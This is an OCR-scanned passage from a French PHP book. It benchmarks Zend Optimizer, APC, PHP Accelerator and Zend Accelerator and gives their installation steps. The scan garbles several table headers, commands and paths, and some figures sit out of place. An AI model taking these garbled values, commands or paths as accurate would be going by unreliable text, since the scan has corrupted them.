Tableau 19.4 : Temps de reponse avec Zend Optimizer d'une page quasi-statique 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


8.32 


6.34 


15.71 





3 


5.46 


5.29 


5.59 





5 


5.41 


5.20 


5.50 





7 


5.42 


5.18 


5.55 





10 


5.42 


5.17 


5.52 





50 


5.47 


5.19 


5.85 





100 


5.52 


5.27 


5.94 
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Page quasi-statique 
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Charge Cnb req. siniul.) 



□ Sans optimisation (.20 tests en 2 series) 
■ Zend Optimizer (20 tests en 2 series) 
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Avec Zend Optimizer 



Comme en l'absence de solution d'optimisation, les resultats sont quasiment independants de 
la charge (tout juste 2 % de plus que le minimum avec 100 requetes simultanees). 

Les resultats obtenus ont peu varie d'un test a l'autre. 

Mais, malheureusement, le resultat obtenu n'est absolument pas celui attendu. En effet, les 
temps de reponse ont ete augmentes de 12 % par rapport a une solution sans cache. "C'est quoi 
cette histoire?" nous direz-vous. En fait, il suffit de se rappeler le principe de fonctionnement de 
Zend Optimizer pour bien comprendre : comme cela a ete indique, Zend Optimizer retravaille 
le code genere pour l'optimiser et faire qu'il s'execute plus vite. Or, dans notre script de test, il 
y a relativement peu de code et probablement peu de solutions d'optimisation. En 
consequence, Zend Optimizer perd du temps a chercher a optimiser un code qui, semble-t-il, 
ne peut pas l'etre. D'ou des temps de reponses plus importants. 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Optimizer 1.3.1) donnaient des 
REHARQJE resultats moins bons: de I'ordre de 6,6 secondes contre 5,4 ici: Le gain obtenu en un 
an est done de 22%. 



Figure 19.20 : 

Temps de reponse 
d'une page dynamique 
avec Zend Optimizer 



Tableau 19.5 : Temps de reponse avec Zend Optimizer d'une page dynamique 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


77.18 


75.78 


79.00 





3 


75.07 


73.88 


76.49 





5 


76.15 


74.58 


77.53 





7 


76.71 


74.75 


77.64 





10 


77.66 


76.03 


78.63 






Page dynamique 



ABache/l.3.28 - Linux - PHP/4. 3.0 - dynamique (rnysql-pear) 




I 1 1 ' ' 

1 10 100 

Charge (nb req. simul.) 



□ Sans optimisation (20 tests en 2 series? 
■ Zend Optimizer (20 tests en 2 series) 
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Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 


maximum (en 


echec 






secondes) 


secondes) 




50 


83.73 


83.23 


84.83 





100 


85.84 


82.48 


88.62 


Moyenne 14.35 










Minimum 7 










Maximum 69 



Les temps de reponse sont, cette fois, dependants de la charge (comme ce pouvait etre le cas 
sans optimisateur). Ceci est plus particulierement sensible au-dela de 10 requetes par secondes. 
Finalement, nous avons des requetes en erreur lorsque 100 requetes sont envoyees 
simultanement (dans ce cas, le temps total d'execution n'est plus significatif). 

Les resultats obtenus restent legerement superieurs a ceux obtenus en l'absence d'optimisation. 
Nous pouvons done supposer que, dans ce cas, le gain en temps d'execution que procure le 
passage de l'optimisateur Zend est totalement absorbe par le temps supplementaire necessite 
pour cette operation. 

Les resultats obtenus sont relativement stables d'un test a l'autre. 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Optimizer 1.3.1) donnaient des 
REMARQJE resultats moins bons: de I'ordre de 91 secondes contre 77 ici: Le gain obtenu en un an 
est done de 18%. 



Page mathematique 
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Charge (nb req. simul .) 



□ Sans optimisation (20 tests en 2 series) 
■ Zend Optimizer (20 tests en 2 series) 



Figure 19.21 : 

Temps de reponse 
d'unepage 
mathematique avec 
Zend Optimizer 



Avec Zend Optimizer 



Tableau 19.6 : Temps de reponse avec Zend Optimizer d'une page mathematique 



Nombre de 

rpniiptpc 

simultanees 


Temps total 

ri'pvpnitinn fpn 

secondes) 


Temps total 

H'pvpnitinn 

minimum (en 
secondes) 


Temps total 

ri'PYpnitinn 

U UAUUUUUM 

maximum (en 
secondes) 


Nombre de 

Kpniiptpc on 

ICLJUGlCo Gil 

echec 


1 


35.78 


32.15 


40.33 





3 


29.83 


29.58 


30.11 





5 


30.00 


29.05 


31.08 





7 


29.93 


29.30 


30.48 





10 


29.70 


29.14 


30.16 





50 


30.88 


29.84 


32.10 





100 


31.12 


29.87 


32.30 






La encore, le temps de reponse depend de la charge. Mais, pour autant, le temps d'execution 
subit peu l'impact de la charge (aii pire + 5 %) et, surtout, aucune requete n'est rejetee, meme 
pour 100 requetes simultanees. 

En revanche, pour une fois, le temps moyen d'execution est nettement inferieur a ceux obtenus 
sans optimisation, puisque le gain est de 36 %. Ceci tend a prouver qu'effectivement Zend 
Optimizer joue un role d'optimisateur (ce dont il etait possible de douter etant donne les 
premiers resultats). Ce script de test incluant de nombreuses boucles et operations, le temps 
passe a optimiser le code a done ete utile et a largement contribue a en accelerer l'execution. 

Cependant, les valeurs sont restees relativement stables d'une serie de test a l'autre. 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et Zend Optimizer 1.3.1) donnaient des 
resultats mains bons: de I'ordre de 36 secondes contre 30 ici: Legain obtenu en un an 
est done de 20%. 



Conclusion 

Si Ton considere que les resultats obtenus dans cette configuration de test sont representatifs, 
alors nous pouvons conclure que l'utilisation de Zend Optimizer ne se justifie pas (bien au 
contraire), excepte pour des sites tres particuliers sollicitant excessivement le langage PHP. 
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19.5. Avec Alternative PHP Cache (APC) 
Description 

La solution retenue par APC consiste a mettre en cache (conserver en memoire) le resultat de 
la compilation (afin de ne pas avoir a renouveler les operations d'analyse et de compilation des 
scripts a chaque fois que ceux-ci sont appeles). 

APC est desormais disponible gratuitement sur le site (anglais) http:llpecl.php.net/apc. La der- 
niere version disponible est la 2.0.4 qui supporte officiellement les versions de PHP 4.2.2, 4.2.3, 
4.3.0 et 4.3.2. Elle a ete concue pour compiler sous Linux, FreeBSD, OpenBSD et MacOS 10.2 

Les tests ont ete realises avec une version de developpement disponible fin juillet 2003 
(supportant officiellement PHP 4.2.2, 4.2.3 et 4.3.0) qui n'est plus propose en telechargement 
mais dont vous trouverez un exemplaire sur le CD-ROM fourni. 

Installation 

Sous Linux 

Apres avoir copie l'archive (celle disponible sur le CDROM est baptisee apc-cvs_030731.tar.gz) 
dans un repertoire quelconque (disons lusr/local/src), vous devez la decompresser : 

# gunzip apc-cvs.tar.gz 

# tar xvf apc-cvs.tar 

Puis vous devez la compiler : 

# cd apc-cvs 

# /usr/1 ocal /bi n/phpi ze 

# ./configure --with-php-config=/usr/local/bin/php-config 
Prendre le bon chemin 

Nous supposons id, que PHP a ete installe sous lusr/locall et que par consequent, les 
ATTENTION commandes phpize et php-config se trouvent sous le repertoire /usr/local/bin. 

# make 

# make install 

Cette derniere instruction affiche le repertoire dans lequel vient d'etre installe le fichier apc.so. 
Modifiez votre fichier php.ini afin d'ajouter les lignes suivantes : 
[APC] 

zend_extension = <chemin affiche par make install>/apc.so 

II existe de nombreuses options mais, comme leur nom l'indique, elles sont facultatives. Nous 
ne les presenterons done pas ici. 

Pour desactiver le cache APC, vous pouvez mettre en commentaire ces lignes en les faisant 
preceder d'un point-virgule. 



Avec Alternative PHP Cache (APC) 



Verification 

Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devrez alors 
apercevoir le texte suivant : 



Tnis program makes u?e □!" tire Zerid Stripling Language Enqine 
Ztm Engine vi 2 0, Copyright (c) 133S-2002 Zend rechnologiee 

with APC Caching v1 .1 .0 CVS, Copyright (c) 2000-2001 Community Connect Inc., py Dan Co^gill and 
George Schlosenagle 



Figure 19.22 : phpinf o() 



L'indication "with APC Caching" confirme le succes de l'operation d'installation. 

Mesures 

Page quasi-statique 

Figure 19.23 : 

Temps de reponse 
d'une page 
quasi-statique avec 
APC 
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Tableau 19.7 : Temps de reponse avec APC d'une page quasi-statique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 


maximum (en 


echec 






secondes) 


secondes) 




1 


7.20 


2.60 


26.80 


Moyenne 49,9 



Minimum 
Maximum 499 



3 2.21 2.10 2.39 



5 


2.19 


2.06 


2.54 





7 


2.16 


2.05 


2.32 





10 


2.13 


2.05 


2.21 





50 


2.11 


2.03 


2.22 





100 


2.13 


2.09 


2.23 
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La premiere grosse surprise a la lecture de ces resultats (et apres une rapide analyse) c'est de 
constater que systematiquement la premiere serie de test est tombee en erreur. Et nous n'avons 
malheureusement trouve aucune justification a ce phenomene. Nous mettrons done cela sur le 
fait qu'il s'agit d'une version en cours de developpement. 

Si Ton fait abstraction de ce probleme, nous pouvons constater que les temps de reponse sont 
extremement bons. Le gain est ici de 56 % par rapport a la version sans optimisation. APC 
demontre ici 1'interet de mettre en cache le resultat de la compilation. 



r ^fD Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC de juin 2002) donnaient des 
REMARQUE resultats moins bons: de I'ordre de 5. 1 secondes contre 2. 1 ici: Le gain obtenu en un 
an est done de 59%. 



Page dynamique 
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□ Sans optimisation (20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 



Figure 19.24 : 
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d'une page dynamique 
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Tableau 19.8 : Temps de reponse avec APC d'une page dynamique 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


23.75 


20.28 


31.30 





3 


19.26 


18.00 


20.07 





5 


19.31 


18.25 


20.35 





7 


19.67 


18.51 


20.59 





10 


20.00 


18.90 


20.75 





50 


21.32 


20.09 


22.02 






100 22.13 21.13 23.50 



Avec Alternative PHP Cache (APC) 



Le schema est a premiere vue identique aux resultats obtenus precedemment pour l'exemple 
dynamique. Les temps de reponse se trouvent augmentes au fur et a mesure que la charge croit, 
par contre, chose importante, le serveur ne se trouve pas sature et peux repondre a toutes les 
requetes. 

La, encore, APC prouve son efficacite en reduisant le temps de reponse par rapport a une 
solution non optimisee, avec un gain de 73 % (excusez du peu). 



REMARQUE 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC de juin 2002) donnaient des 
resultats moins bons: de I'ordre de 91 secondes contre 20 ici: Legain obtenu en un an 
est done de 78%. 



Page mathematique 



Afj.ache/1.3.2S - Linux - PHP/4.3.0 - math 



• • •• 



4-1 



O 



10 100 
Charge (nb req. siniul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Cache APC (20 tests en 2 series) 

□ Zend Optimizer (20 tests en 2 series) 



Figure 19.25 : 

Temps de reponse d'une 
page mathematique 
avec APC 



CD ' 

2° 



—i 00 
CD> fi) 



O o 



CO 
CD 



Tableau 19.9 : Temps de reponse avec APC d'une page mathematique 



Nombre de 


Temps total 


Temps total 


Temps total 


Nombre de 


requetes 


d'execution (en 


d'execution 


d'execution 


requetes en 


simultanees 


secondes) 


minimum (en 


maximum (en 


echec 






secondes) 


secondes) 




1 


50.23 


47.98 


55.43 






3 49.63 47.62 52.40 



5 


48.35 


47.08 


50.45 





7 


46.69 


45.50 


48.30 





10 


46.39 


45.31 


48.62 





50 


47.43 


46.41 


48.41 





100 


47.47 


45.56 


50.73 
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Apparemment, il n'est pas facile de gagner sur tous les tableaux. Alors que sur les deux tests 
precedents APC offre un gain en performance qui est loin d'etre negligeable, au cours de ce 
test, les temps de reponse sont sensiblement identiques a ceux obtenus sans optimisation (et 
done bien loin des resultats obtenus avec Zend Optimizer). 

II est possible d'esquisser une explication a cela. APC a beau stocker en memoire le resultat de 
la compilation, il n'en reste pas moins qu'il faut executer ce code. Alors que Zend Optimizer 
reduit le temps d'execution et offre un gain interessant sur ce genre de script, il n'en est rien 
pour APC qui execute le code obtenu par une compilation standard. 



CD 

~° GO 

§ g 



REMARQUE 



Q. CO 

5 E 

. CD 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC de juin 2002) donnaient de 
meilleurs resultats: de I'ordre de 36 secondes contre 47 ici: Soit une perte de 30% en 
un an. 



Conclusion 

Meme s'il est vrai qu'APC n'apporte rien en ce qui concerne le script mathematique (considere 
comme non representatif d'un site web), le gain obtenu dans les autres cas est loin d'etre 
negligeable et justifie pleinement l'utilisation d'un systeme de mise en cache du code compile. 

Nous avons egalement pu constater que globalement de gros progres ont ete realises depuis la 
precedente edition de ce livre. Ce qui fait d'APC une solution tres prometteuse. 



19.6. Avec PHP Accelerator (PHPA) 
Description 

Tout comme APC, PHP Accelerator garde en memoire le resultat de la compilation. C'est done 
egalement une solution de cache, mais pas uniquement, puisque PHPA integre aussi un 
optimisateur de code (comme peut le faire Zend Optimizer). Ce dernier aspect de PHPA est 
cependant considere par leurs auteurs comme etant au premier stade du developpement 
(sous-entendu : il pourrait etre ameliore). 

PHPA, de la societe ionCube, est disponible gratuitement a l'adresse http://php-accelerator.co.uk 
(en anglais). 

Pour la version 4.3.0 de PHP, vous le trouverez pour les systemes d'exploitation suivants : 
FreeBSD, Linux (glibc2 et glibc2.2.5), OpenBSD, Solaris. 

La version testee ici est la 1.3.3r2 pour PHP4.3.0 sous linux. Elle reste a ce jour la derniere 
version disponible. 
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Avec PHP Accelerator (PHPA) 



Installation 
Sous Linux 

Apres avoir copie le fichier dans un repertoire donne (ex. : Itmp), il suffit tout simplement de 
decompresser l'archive. 

# gunzi p php_accel erator-1.3.3r2_php-4.3.0_l i nux_i686-gl ibc2. 1 .3. tgz 

# tar xvf php_accel erator-1 .3.3r2_php-4.3.0_l i nux_i 686-gl i bc2. 1.3. tar 

II faut ensuite copier le module dans le repertoire des extensions PHP : 

# cp php_accelerator-1.3.3r2_php-4.3.0_linux_i686-glibc2.1.3/php_accelerator-1.3 — ■ 5° 
s»= .3r2.so /usr/1 ocal /l i b/php/extensions/php accelerator 1.3.3r2.so 3 T 

- - -o O 



puis ajouter quelques lignes au fichier php.ini. 
[PHPA] 

zend_extension=/usr/local /l i b/php/extensions/php_accel erator_l .3 .3r2.so 

Verification 

Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devriez alors 
apercevoir le texte suivant : 



Tim program makes u?e otthe Zend Scripting Language Engine: 

Zend Engine vl.3.0, Copyright (c) 1 998-2002 Zend Technologies witn tne ionCune 

PHP Accelerator v1.3.3r2, Copyright (c) 2001-2002, by Nick Lindridge 




Figure 19.26 

phpinfo() 



—i CO 

■o a: 

o 

1 1 

oo 



L'indication "with PHP Accelerator" confirme le succes de l'operation d'installation. 



Mesures 



Page quasi-statique 



Apache. 



Linux - PHP/4.3.0 - quasi-statique 




10 100 
Charge (nb req. simul.) 



□ Sans optimisation (20 tests en 2 series) 
■ Cache PHPA (20 tests en 2 series) 

□ Cache APC (20 tests en 2 series) 



Figure 19.27 : 

Temps de reponse 
d'une page 
quasi-statique avec 
PHPA 
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Tableau 19.10 : Temps de reponse avec PHPA d'une page quasi-statique 



Nombre de 

ICl|UClCo 

simultanees 


Temps total 

ri'PYPPiitinn fpn 

secondes) 


Temps total 

H'pvpnitinn 

U CACwllllUII 

minimum (en 
secondes) 


Temps total 

rl'PYPPiitinn 

U CACwllllUII 

maximum (en 
secondes) 


Nombre de 

rpmiptpc pn 

ICLJUClCo CM 

echec 


1 


20.38 


4.92 


46.85 





3 


3.82 


3.66 


3.99 





5 


3.74 


3.58 


3.93 





7 


3.72 


3.59 


3.85 





10 


3.68 


3.59 


3.81 





50 


3.73 


3.59 


3.90 





100 


3.75 


3.64 


3.89 






Les valeurs obtenues lorsque les appels se font les uns apres les autres sont excessivement 
chaotiques, ce qui n'est pas sans rappeler le phenomene observe avec APC, si ce n'est qu'ici, les 
requetes ne tombent pas en erreur. 

Pour le reste, les resultats sont tres bons (gain de 24%) mais pas tout a fait a la hauteur de ceux 
offerts par APC. La difference mesuree entre ces deux solutions etant tout de meme de 40%. 



Comparatif avec les tests des editions precedentes 

«^ Les tests precedents (bases sur PHP 4.2.1 et APC 1.3.1pre3) donnaient de moins 
REMARQJE b ns resultats: de Vordre de 4.8 secondes contre 3. 7 ici: Soit un gain de 23% d'une 
annee a V autre. 



Page dynamique 
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□ Sans optimisation (.20 tests en 2 series) 

■ Cache PHPA (20 tests en 2 series) 

■ Cache APC (20 tests en 2 series) 



Figure 19.28 : 
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Avec PHP Accelerator (PHPA) 



Tableau 19.11 : Temps de reponse avec PHPA d'une page dynamique 



Nombre de 

rpniiptpc 

lCl|UGlCO 

simultanees 


Temps total 

ri'PYPPiitinn fpn 

U CACLUUUII \KSll 

secondes) 


Temps total 

H'pvpnitinn 

U CACbUUUII 

minimum (en 
secondes) 


Temps total 

ri'PYpnitinn 

U CACbUUUII 

maximum (en 
secondes) 


Nombre de 

rpniiptpc pn 
■ CLJUGlco ell 

echec 


1 


32.02 


21.12 


57.02 





3 


19.60 


18.54 


20.53 





5 


19.81 


18.88 


20.32 





7 


20.05 


19.10 


20.62 





10 


20.42 


19.74 


20.90 





50 


21.88 


20.97 


23.33 





100 


22.80 


21.45 


23.82 






O o" 

PHPA offre cette fois ci des resultats comparables a ceux obtenus avec APC. Et dans ce cas 3 ^ 

aussi, le nombre de requetes en echec pour 100 requetes simultanees est nul. ™ 



«3> 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 et APC 1.3.1pre3) donnaient de moins 
REHARQJE tons resultats: de I'ordre de 42 secondes contre 20 ici: Soit un gain de 52% d'une 
annee a Vautre. 



Page mathematique 
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■ Cache PHPA (20 tests en 2 series) 

■ Cache APC (20 tests en 2 series) 

■ Zend Optimizer (20 tests en 2 series) 



Figure 19.29 : 
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Tableau 19.12 : Temps de reponse avec PHPA d'une page mathematique 



Nombre de 

1 Cl|UclCo 

simultanees 


Temps total 

ri'PYPPiitinn fpn 

secondes) 


Temps total 

H'pvpnitinn 

U CAGwllLIUII 

minimum (en 
secondes) 


Temps total 

rl'PYPPiitinn 

U CACUUIIUII 

maximum (en 
secondes) 


Nombre de 

rpmiptpc pn 
lcl|Uclco ell 

echec 


1 


43.47 


41.05 


53.81 





3 


40.56 


40.20 


41.33 





5 


40.67 


40.24 


41.14 





7 


40.80 


40.45 


41.17 





10 


40.90 


40.56 


41.45 





50 


42.52 


41.86 


43.20 





100 


43.43 


41.50 


47.30 






Sur ce test, PHPA ameliore legerement les performances obtenues avec APC sans toutefois 
atteindre le niveau de Zend Optimisateur. 

Le gain est ici de pres de 14 % par rapport a une solution non optimisee. 



Comparatif avec les tests des editions precedentes 

Les tests precedents (bases sur PHP 4.2.1 etAPC 1.3.1pre3) donnaient des resultats 
REHARQJE sensiblement identiques: de I'ordre de 39.8 secondes contre 40. 7 ici: 



Conclusion 

Tout comme APC, PHPA est une solution d'optimisation gratuite et performante. Elle allie 
optimisation du code compile et mise en cache du code avec une certaine efficacite, meme si 
Ton sent que l'optimisation du code pourrait etre amelioree (comme le demontre Zend 
Optimizer). 



19.7. Avec Zend Accelerator (Zend Performance Suite) 
Description 

Zend Accelerator est une solution destinee aux professionnels (done payante), qui est basee sur 
le meme principe que PHPA. Elle est la combinaison d'un optimisateur de code (Zend 
Optimisateur) et d'un cache (la specif icite de Zend Accelerator). 

Elle est disponible pour les systemes d'exploitation : 

■ Linux glibc2.1 ; 
FreeBSD 4.3 ; 



Solaris Sparc. 



Avec Zend Accelerator (Zend Performance Suite) 



Nous avons ici teste la version devaluation de Zend Accelerator 3.5.0 pour Linux, disponible 
sur le site (anglais) http://www.zend.com. 

La derniere version disponible est la 4.0, c'est officiellement la seule des solutions presentees 
ici, a supporter PHP 5.0 (et toutes les versions de PHP a partir de PHP 4.1.2) 



Installation 

Son installation est ires simple. 



Sous Linux 

II vous suffit de copier l'archive dans un espace temporaire (ex. : Itmp) et de la decompresses 
Vous aurez certainement besoin d'etre connecte en tant qu'administrateur (root) afin de 
pouvoir creer l'arborescence de Zend Accelerator (typiquement sous lusr/local). 

# gunzip ZendPerformanceSuite-3.5.0-Linux_glibc21-i386.tar.gz 

# tar xvf ZendPerformanceSuite-3.5.0-Linux_gl ibc21-i386.tar 

II vous suffit ensuite de lancer le script d'installation : 

# cd ZendPerformanceSuite-3.5.0-Linux_glibc21-i386 

# . /install. sh 



et de repondre aux questions... 



Zend Perfomance Suite 3.5.0 



Welcome to the Zend Performance Suite 3.5.0 Installetion Scri| 
For more information on this script, see the Installation 
section in the Zend Performance Suite User Guide. 

Please make sure you have a running Ueb Server and PHP version that 
are compatible with the Zend Performance Suite. For compatibility issues, 
please refer to the Zend Performance Suite compatibility table 
at www, zend.com/store/products/product_compatibility.php 




Figure 19.30 : 

Fenetre d'accueil 



apres avoir dit "bonjour". Vous pouvez taper [Entree! pour passer aux choses serieuses. 



Zend Perfornance Suite 3.5.0 

IMPORTANT; 

ESV SE1ECTING THE 'YES OPTION BELOU, DOWNLOADING, INSTALLING, OR 
OTHERWISE USING THIS SOFTWARE , VOU ACKNOWLEDGE THAT VOU HAVE READ THE 
LICENSE AGREEMENT, AND THAT VOU AGREE TO BE BOUND BV ITS TERMS AND 
CONDITIONS. 

IF VOU DO NOT AGREE TO ALL OF THE TERMS AND CONDITIONS OF SUCH AGREEMENT, 
YUU ARE NUT AN AUTHORIZED USER OF THE SOFTWARE AND IT IS YUUR 
RESPONSIBILITY TO EXIT THIS DOWNLOADING/INSTALLATION PROCESS WITHOUT 
DOWNLOADING OR INSTALLING THE SOFTWARE BV SELECTING THE NO OPTION BELOW, 
AND TO DELETE THE SOFTWARE FROM YOUR COMPUTER. 



Figure 19.31 

Licence 



Do you accept the terms of the license? 



as__E 



< No > 
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Acceptez vous les termes de la licence? Nous vous laissons repondre en votre ame et 
conscience. Nous, nous avons opte pour l'option "Yes". 



Zend Performance Suite 3.5.0 
In order to proceed, Setup needs a valid license file* The license file is 
called: 'zend_perfonniance_suite,dat' , If you don't have a valid license 
file, select 'Download a license file from www 4 zend 4 com' , Otherwise select 
'Search for a license file on my disk'. The license file can also be 
downloaded manually from: http://www + zend + com/store/pickup t php. 



i 



unload a license file fron uuw.zend.coi 



Search for a licerse file or my disk 
<Cancsl> 



Figure 19.32 : 

Cle d 'activation 



03 

in 



o o 



5 E 



Si le script d'installation ne trouve pas de cle d'activation, celui-ci vous propose d'indiquer ou le 
fichier peut se trouver (il s'agit d'un fichier zend_accelerator.dat, habituellement sous le 
repertoire data). Vous pouvez egalement la telecharger (c'est ce que nous avons fait pour 
obtenir une licence devaluation). 



ATTENTION 



Intranet 

La licence doit etre telechargee depuis le poste oil doit etre installe Zend Accelerator. 
II n'est, par exemple, pas possible de lancer le script d'installation depuis un poste 
relie a Internet pour utiliser la cle d'activation sur un poste en Intranet. Si votre poste 
n'est pas relie a Internet, selectionnez tout de mime l'option "download a license file 
from www.zend.com". Un message d'erreur vous indiquera alors comment vous y 
prendre pour recuperer manuellement un fichier de licence. 



Zend Perfornance Suite 3.5.0 
Do you have a Zend.com account? 
You will be asked for your Zend.com username 
and password during installation. 



Figure 19.33 : 

Compte Zend 



II vous est ensuite demande si vous possedez un compte Zend. A priori la reponse est "oui" 
puisque pour pouvoir telecharger Zend Accelerator, vous avez du ouvrir (gratuitement) un 
compte sur le site. Tapez done [ Entree [ . 



Zend Perf or nance Suite 3.5.0 
Please enter your Zend.com username 

|norriderrioncompteQ 

<Cancel> 



Figure 19.34 : 

Saisie de I'identifiant 



Vous devez alors, ici, saisir I'identifiant de votre compte. 
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Avec Zend Accelerator (Zend Performance Suite) 



Zend Perfcrience Suite 3.5.0 

Please enter your ZencLmm password; 



****[] 



Figure 19.35 : 

Saisie du mot de passe 



Saisissez ensuite le mot de passe. 



Zend Per-forsance Suite 3.5.0 

Is the product for trial or commercial use? 



Get Commercial License 



Figure 19.36 : 

Type de la licence 



II vous est ensuite demande quel est le type de la licence. Dans notre cas, il s'agit d'une licence 
devaluation. 



CD ' 

2° 



—i CO 
CD> fi) 



O o 



OO 
CD 



Zend Accelerator 2.0.2 
Successfully downloaded license file 
TRIAL , UNUSED 




Figure 19.37 : 

Telechargement 



Et voila... le fichier de licence est telecharge. Tapez sur la touche ( Entree [ . 



Zend Perfomance Suite 3.5.0 
Specify the location where to install Zend Performance 



/ usr/ loca l/Zend_Penf or mence_Su ite -3 . 5 . OD 



formance Suite ■ 

_J 



Figure 19.38 : 

Chemin d' installation 



Vous etes alors invite a saisir le chemin du repertoire oii vous souhaitez installer Zend 
Accelerator. Nous vous suggerons lusrllocall Zend _Petformance_Suite-3. 5.0 (meme si, par 
defaut, le script vous proposera /usr/local/Zend). 



Zend Perfomance Suite 3.5.0 

Specify the flpeche conf iguretion directory 



I / usr/loca 1/ apache/conf [] 

<Cancel> 



Figure 19.39 : 

Chemin du repertoire du fichier de 
configuration du serveur 



1369 



Chapitre 1 9 L'optimisation des temps de reponse 



Puisqu'il veut vraiment tout savoir, il vous faut maintenant dormer le chemin du repertoire 
hebergeant le fichier de configuration d'Apache (probablement /usr/local/apache/conf). C'est 
bon ? Allez zou !... (Entree]. 



Zend Perforrence Suite 3.5.0 
Please confirm the location of your Apache document root directory. 
This is the location where your web documents are stored 



/usr/local/apacheflitdocs 



Figure 19.40 : 

Repertoire racine du 
serveur 



03 

in 



o o 
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Pas avare de questions, le script vous demande maintenant de preciser quel est le chemin du 
repertoire constituant la racine de votre serveur web (probablement /usr/local/apache/htdocs). 
Ceci va lui servir pour installer les scripts d'administration de Zend Accelerator (on ne se refuse 
rien). 



Zend Perfomance Suite 3.5.0 
Confirm the location of your php.ini file 



flusr/local/lib 



Figure 19.41 

php.ini 



II est temps desormais de preciser le chemin du repertoire hebergeant le fichier php.ini 
(generalement /usr/local/lib). Une nouvelle pression sur [ Entree I et nous devrions etre bientot 
debarrasses. 



Zend Per-for«ance Suite 3.5.0 
Please provide a passuord ir the field below, h ■ i>, > > p -j 

This passuord will prevent unauthorized access to the Zend IVlOl Cle pClSSe Cle I Olitll 

Performance Suite GUI and will keep others from changing 
your server settings. 



Figure 19.42 

Mot de pass* 
d 'administration 



******[] 



Le script vous demande alors de saisir un mot de passe qui servira a proteger Faeces a la page 
d'administration de Zend Accelerator. 



Zend Per-forrence Suite 3.5.0 

Verify the password: 



Figure 19.43 : 

Confirmation du mot de passe 



Comme c'est 1'usage, vous etes invite a confirmer votre mot de passe (pour s'assurer qu'aucune 
erreur de saisie n'est intervenue). 
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Zend Per-for«ance Suite 3.5.0 
Please confirm the username your PHP scripts run as under Rpache 



FJobody 



Figure 19.44 : 

Confirmation de 
Vutilisateur Apache 



Puis, il vous faudra confirmer le nom d'utilisateur sous lequel tourne le serveur Apache. 

Figure 19.45 : 

Espace cache 



Zend PepfDrnance Suite 3.5.0 

Please enter the path for the cache storage directory. 
This directory must have sufficient free space. 



mtmp/cache 



Vous devrez egalement specifier un espace de stockage temporaire des fichiers de cache. 



CD ' 

2° 



—i 00 
CD> fi) 



O o 



Zend Perfornance Suite 3.5.0 
The Zend Performance Suite includes a special daemon process that ensures 
that old and outdated cached files are removed from the system. In onden 
to ensure that this daemon is operating at all times, a line will be added 
to your crontab, that will check that the cleaner process is rurring every 
10 minutes. 

Is this ok? 



Figure 19.46 

Crontab 



CO 
CD 



II vous est egalement demande d'accepter d'ajouter une entree dans la crontab afin de pouvoir 
effectuer un nettoyage regulier du contenu obsolete du cache. 



Zend Per-for»aree Suite 3.5.0 
We are going to add scheduled execution to the nobody's crontab file: 
0,10,20,30,40,50 * * * » /usr/local/Zend_Performance_Suite-3.5,0/sbin/cache 
clean ,/usr/iocal/lib/php.ini 
Do you accept? 



Figure 19.47 : 

Confirmation crontab 



Pour ne rien vous cacher, Zend Accelerator precise la ligne qui sera ajoutee a la crontab avant 
de vous demander confirmation. 



Zend Accelerator 2.0.2 

Voun php.ini is relocated tD the /usr/local/Zend_Accelerator_2,0 + 2/etc directory 
and symbolic link from the former place /usr/local/Zend/etc/php + ini is created. 



Figure 19.48 : Lien symbolique 



II semblerait que nous en ayons fini avec les questions. Le script d'installation vous indique 
alors que votre fichier php.ini a ete deplace de son ancienne position (ici /usr/local/Zend/etc/ 
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mais, habituellement, /usr/local/lib) vers sa nouvelle : /usr/local/Zend_Accelerator_2.0.2/etc. Un 
lien symbolique est alors cree de l'ancienne position vers la nouvelle. C'est note ? [ Entree | . 



Zend Perforsance Suite 3.5.0 

Tne installation was completed successfully. 
The Zend Performance Suite is ready for use. 

Vou must restart your web server for the modifications to take effect. 




Figure 19.49 : 

Fenetre de fin 
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Voila, c'est fini... ou presque. 



Zend Perfornarice Suite 3.5.0 
Restart the webserver now? 



< No > 



I 



Figure 19.50 : 

Relance du serveur 



II est temps de relancer le serveur web afin de prendre en compte les changements. 

Figure 19.51 : 

Fenetre defin 



Zend Perfomance Suite 3.5.0 

Specify the Apache bin directory 



|/usr/ local/ apache^b in 



..mais pour cela, Zend Optimizer doit connaitre l'emplacement du repertoire bin/ d'Apache. 

Figure 19.52 : 

Apache uas successfully restarted, FCYlCtfE dc flfl 




Cette c'est bon. 



Verification 



Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devriez alors 
apercevoir le texte suivant : 



This program makes use of The Zend Scripting Language Fnciine: 
